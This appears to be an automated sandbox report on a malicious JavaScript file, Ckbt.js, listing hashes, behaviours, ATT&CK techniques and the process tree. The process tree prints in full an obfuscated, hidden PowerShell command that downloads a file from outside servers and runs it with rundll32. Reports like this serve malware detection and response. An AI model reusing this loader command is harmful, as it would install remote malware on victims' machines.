eec2d6c95416d1ef00e5e37fbd36ae388a24bee4986cde2d9cfebf6d25263a95

General

Target

Ckbt.js
Size

218KB
MD5

5766bc8031a485df0b03b1dd15b82d3d
SHA1

2cdf7ee78a24e06f9fd5d3e7d515bf60774c720f
SHA256

eec2d6c95416d1ef00e5e37fbd36ae388a24bee4986cde2d9cfebf6d25263a95
SHA512

4cc2b87bce4ff89e559792ecb944365cdb24afc622532bdf5756a5572a02449a999e6d9ebc96111d527c0e67465ee3c2bed25dd3996865f27e0892e5025e866c
SSDEEP

1536:mDS8/yqz10JirHyPUGNjb03yySCpyzn4QrYO9PmJNxw5xUPKY0HdOSLLdmU+xcAm:t8aqz10DH8yQK4QrYO9PmNLx9xIr

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	3308	powershell.exe
20	3308	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3308	powershell.exe
3308	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3308	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4980 wrote to memory of 2008	4980	wscript.exe	79
PID 4980 wrote to memory of 2008	4980	wscript.exe	79
PID 2008 wrote to memory of 3308	2008	wscript.exe	80
PID 2008 wrote to memory of 3308	2008	wscript.exe	80

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Ckbt.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4980
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Ckbt.js" PercenterTrimotor patronne
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "JABtAG8AbgBvAGMAaABhAHMAaQBhAE4AbwB0AGUAcABhAGQAIAA9ACAAIgBNAGUAcwBtAGUAcgBpAHoAYQBiAGwAZQBBAHIAYwBoAGUAcwBwAG8AcgBpAGEAIgA7ACQATwBtAG4AaQB2AGEAcgBpAG8AdQBzACAAPQAgADQAOQA0ADsAJABBAHIAcgB1AGEAZwB1AGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAGcAQQA1AEEAQwA0AEEATgBnAEEANQBBAEMANABBAE8AQQBBADQAQQBDADQAQQBNAFEAQQAxAEEARABJAEEARgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBOAFEAQQB4AEEAQwA0AEEATgBnAEEAdwBBAEMANABBAE0AUQBBADEAQQBEAEUAQQBMAGcAQQB5AEEARABNAEEATQBnAEEAPQAiADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAJABuAG8AbgBjAG8AbgB2AGUAcgB0AGkAYgBsAHkARABvAHcAYQBnAGUAcgBpAHMAbQAgAD0AIAAiAFUAbgBkAGUAcgBtAG8AdABpAG8AbgBCAG8AdABhAG4AaQB6AGUAZAAiADsAJABSAGUAYgByAHUAcwBoAEQAaQBwAGwAbwBnAGwAbwBzAHMAYQB0AGEAIAA9ACAANQAyADEAOwAkAE4AbwBuAHMAdwBpAG0AbQBlAHIAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAFEAQQB4AEEAQwA0AEEATgB3AEEAMgBBAEMANABBAE4AUQBBAHcAQQBDADQAQQBNAGcAQQAwAEEARABNAEEAdQBpAG0AUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEoAQQBHAFEAQQBhAFEAQgB2AEEASABJAEEAYwBnAEIAbwBBAEgAawBBAGQAQQBCAG8AQQBHADAAQQBlAFEAQgBWAEEARwA0AEEAYwBnAEIAbABBAEcAYwBBAGMAZwBCAGwAQQBIAFEAQQBaAGcAQgAxAEEARwB3AEEATABnAEIAagBBAEgASQBBAGEAUQBCAGoAQQBHAHMAQQBaAFEAQgAwAEEAQQA9AD0AIgA7ACQAcwB1AHAAZQByAG8AcAB0AGkAbQBpAHMAdABVAHIAYQBsAGkAbgBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA1AEEARABFAEEATABnAEEAeABBAEQAawBBAE0AdwBBAHUAQQBEAFEAQQBNAHcAQQB1AEEARABFAEEATQBRAEEANQBBAEMAOABBAGQAQQBCAE8AQQBHAFkAQQBMAHcAQgBwAEEARQBvAEEAWgBRAEIAMABBAEgAUQBBAHEAZgBhAFEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAzAEEARABjAEEATABnAEEANQBBAEQARQBBAEwAZwBBADQAQQBEAFkAQQBMAGcAQQB4AEEARABJAEEATQBnAEEAdgBBAEYAWQBBAGIAQQBCAHcAQQBGAFEAQQBMAHcAQgBDAEEARQB3AEEAUgBBAEIAaQBBAEUASQBBAFoAZwBCAG0AQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABjAG8AbgBzAHQAaQB0AHUAdABlAFAAaQBsAGkAZQBzACAAaQBuACAAJABzAHUAcABlAHIAbwBwAHQAaQBtAGkAcwB0AFUAcgBhAGwAaQBuAGUAIAAtAHMAcABsAGkAdAAgACIAcQBmAGEAUQAiACkAIAB7ACQAbABpAHQAdABsAGUAbgBlAGMAawAgAD0AIAAyADgAMgA7ACQAQwByAHkAcAB0AG8AZwByAGEAbQBtAGkAYwAgAD0AIAA1ADUANgA7ACQAQgBlAHMAdABlAGEAbAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdwBBAEcARQBBAGIAQQBCAGgAQQBIAEUAQQBkAFEAQgBwAEEASABVAEEAYgBRAEIARABBAEcAOABBAGIAQQBCADEAQQBHADAAQQBZAGcAQgBwAEEARwBVAEEAYwBnAEEAdQBBAEcAdwBBAGEAUQBCAG0AQQBHAFUAQQAiADsAdAByAHkAIAB7ACQAUgBlAGEAYgBzAG8AcgBiAFMAdQBwAGUAcgBjAG8AbgBmAGkAcgBtAGEAdABpAG8AbgAgAD0AIAAiAFAAcgBvAHAAYQBnAHUAbABlACIAOwAkAEkAZABlAG4AdABpAGMAIAA9ACAANwA3ADcAOwAkAHMAbgBvAGIAYgBpAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABjAG8AbgBzAHQAaQB0AHUAdABlAFAAaQBsAGkAZQBzACkAKQA7AGkAdwByACAAJABzAG4AbwBiAGIAaQBzAGgAIAAtAE8AIABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABXAGEAdgBpAHIAYQBQAGgAYQBuAHQAbwBtAHMALgBDAHUAYwB1AG0AYgBlAHIAOwAkAHIAZQBmAHIAYQBjAHQAaQB2AGUAbAB5AEIAcgBvAGMAaABvACAAPQAgACIAUwBoAGUAaABpAHQAYQBIAGUAdABlAHIAbwBkAHIAbwBtAHkAIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABXAGEAdgBpAHIAYQBQAGgAYQBuAHQAbwBtAHMALgBDAHUAYwB1AG0AYgBlAHIAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAxADMANAA3ADMANQApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAVgB3AEIAaABBAEgAWQBBAGEAUQBCAHkAQQBHAEUAQQBVAEEAQgBvAEEARwBFAEEAYgBnAEIAMABBAEcAOABBAGIAUQBCAHoAQQBDADQAQQBRAHcAQgAxAEEARwBNAEEAZABRAEIAdABBAEcASQBBAFoAUQBCAHkAQQBDAHcAQQBjAEEAQgB5AEEARwBrAEEAYgBnAEIAMABBAEQAcwBBAFYAZwBCADEAQQBHAFUAQQBTAGcAQgBUAEEAQQA9AD0AIgA7ACQAVQBuAHAAcgBlAGMAZQBkAGUAbgB0AGUAZAAgAD0AIAAiAEMAbwBuAGQAZQBuAHMAaQBuAGcAUABhAHQAZQByAG4AYQBsAGkAcwB0AGkAYwAiADsAJABpAHIAcgBlAGcAYQByAGQAbABlAHMAcwAgAD0AIAA1ADMAOAA7AGIAcgBlAGEAawA7AFYAdQBlAEoAUwA7AH0AVgB1AGUASgBTADsAfQAgAGMAYQB0AGMAaAAgAHsAJABUAGEAcgBhAGQAaQBkAGQAbABlAEEAbgB0AGkAcwBlAHIAdQBtAHMAIAA9ACAAMwA4ADQAOwAkAHUAbAB0AHIAYQBzAFMAZQBsAGUAbgBpAHQAaQBmAGUAcgBvAHUAcwAgAD0AIAA5ADkAOwAkAHMAaQBuAGcAdQBsAGEAcgBsAHkAIAA9ACAANAA3ADIAOwB9AH0AJABBAGUAcgBvAGcAdQBuACAAPQAgADgAMAA4ADsA"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3308

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l0e2pv4i.at1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3308-138-0x00000201FFC60000-0x00000201FFC82000-memory.dmp

Filesize
136KB

Download
memory/3308-143-0x00000201E6C50000-0x00000201E6C60000-memory.dmp

Filesize
64KB

Download
memory/3308-144-0x00000201E6C50000-0x00000201E6C60000-memory.dmp

Filesize
64KB

Download
memory/3308-145-0x00000201E6C50000-0x00000201E6C60000-memory.dmp

Filesize
64KB

Download
memory/3308-146-0x00000201E6C50000-0x00000201E6C60000-memory.dmp

Filesize
64KB

Download
memory/3308-147-0x00000201E6C50000-0x00000201E6C60000-memory.dmp

Filesize
64KB

Download
memory/3308-148-0x00000201E6C50000-0x00000201E6C60000-memory.dmp

Filesize
64KB

Download

Analysis

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